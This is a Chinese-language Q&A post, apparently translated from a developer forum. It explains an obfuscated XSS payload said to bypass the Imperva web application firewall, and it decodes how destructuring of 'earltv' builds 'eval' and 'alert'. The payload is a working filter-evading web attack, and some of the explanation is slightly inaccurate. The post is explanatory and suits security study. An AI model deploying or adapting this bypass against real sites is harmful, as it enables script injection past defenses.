问题描述
有人在 Twitter 上发布了一个针对 Imperva Web 应用程序防火墙的跨站点脚本绕过(不确定我是否可以在这里链接)。如下所示:
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
%0A%0 解码为新行。创建到给定 URI 的可点击链接。但是所有的 3:s 和 v+a+e 等完全让我无法理解。我已经尝试在反射、存储和 DOM XSS 中使用它,并且得到了混合结果。事实上,在某些情况下,它不会被 Imperva WAF 检测到,但在某些情况下,它根本不会导致可点击的链接。此时的问题是我不完全理解 javascript 代码。任何帮助表示赞赏。
解决方法
您对 %0A%0D
解码为新行是正确的!这给出了:
javascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)
现在让我们分解它。
var{3:s,1:e}='earltv'
这表示字符串 'earltv'
的第三个索引是 s,第二个是 h,第五个是 a,以此类推。
[self][0]
这基本上只是引用自身。
[v+a+e+s]
现在开始解码了。
v 实际上是 e(字符串的索引 0)
a 实际上是 v(字符串的索引 5)
等
解码为 eval
。
类似地,(e+s+v+h+n)
解码为警报。
所以,我们有:
eval(alert)(/infected/.source)
/infected/
是一个正则表达式,而 .source
指的是它的来源,就是字符串 "infected"
。
现在,这相当于:
eval (alert) ("infected")
eval (alert)
本质上返回警报的本机代码,因此它只是 alert
。
alert("infected")
现在很简单 - 它只是提醒“已感染”,这就是实际发生的事情!
,除了其他答案之外,这里还有一个简化的工作演示,展示了它的作用。
编辑:一些额外的解释
如果我们在字符串上附加 [0]
:
let first_letter = "Hey!"[0]; //returns "H"
这意味着每当对字符串进行数组操作时,字符串都会“转换”为数组:
因此它等于:
let first_letter = ["H","e","y","!"][0]
现在,如果你有一个对象,你可以用一个数组来填充它:
let obj = {0:h,1:e,2:y,3:I} = ["H","!"];
最后,您可以将其与 Destructing 结合起来:
letters = ["H","!"];
({0:h,3:I} = letters)
console.log(h,e,y,I); //returns "H" "e" "y" "!"
老实说,相当简约和酷:)
原始片段:
var {
3: s,2: h,5: a,0: v,4: n,1: e
} = 'earltv'
console.log(v + a + e + s,e + s + v + h + n,(/infected/.source));